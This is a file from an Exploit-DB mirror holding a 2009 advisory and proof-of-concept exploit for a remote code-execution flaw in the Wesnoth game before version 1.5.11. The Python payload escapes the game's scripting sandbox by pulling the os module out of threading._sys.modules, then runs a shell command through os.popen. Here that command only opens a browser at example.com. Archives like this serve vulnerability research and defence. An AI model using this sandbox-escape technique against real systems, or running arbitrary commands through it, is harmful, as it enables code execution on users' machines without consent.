exploit-db-mirror/platforms/linux/remote/32837.py
Offensive Security 46dd79985b Updated 04_18_2014
2014-04-18 04:35:42 +00:00

13 lines
No EOL
444 B
Python
Executable file

source: http://www.securityfocus.com/bid/33971/info
Wesnoth is prone to a remote code-execution vulnerability caused by a design error.
Attackers can exploit this issue to execute arbitrary Python code in the context of the user running the vulnerable application.
Versions prior to Wesnoth 1.5.11 are affected.
#!WPY
import threading
os = threading._sys.modules['os']
f = os.popen("firefox 'http://www.example.com'")
f.close()